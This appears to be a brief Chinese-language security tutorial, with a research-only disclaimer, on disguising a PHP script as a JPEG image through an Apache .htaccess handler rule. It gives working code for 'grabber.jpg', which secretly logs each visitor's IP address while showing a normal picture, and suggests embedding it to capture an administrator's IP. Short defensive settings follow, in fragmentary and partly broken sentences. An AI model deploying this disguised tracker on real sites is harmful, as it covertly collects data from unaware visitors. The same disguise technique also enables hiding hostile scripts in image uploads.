⚠ 本文僅供安全研究與防禦參考,請勿用於非法用途。
利用 Apache .htaccess 將 .jpg 當作 PHP 腳本解析:
AddHandler application/x-httpd-php5 .jpg
建立 grabber.jpg(實為 PHP 腳本):
<?php
$fh = fopen('ip_list.txt', 'a');
fwrite($fh, $_SERVER['REMOTE_ADDR'] . " ");
fclose($fh);
$im = imagecreatefromjpeg("n00b.png");
header('Content-Type: image/jpeg');
imagejpeg($im);
imagedestroy($im);
?>
同目錄放入真實圖片 n00b.png。受害者訪問 grabber.jpg 時,腳本記錄其 IP 並輸出正常圖片,隱蔽性極高。
<img src="grabber.jpg"> 竊取管理員 IP。php_flag engine off 或 Nginx location ~ \.php$ { deny all; }。.htaccess 或偽裝圖片檔。理解攻擊手法,才能建構更安全的應用。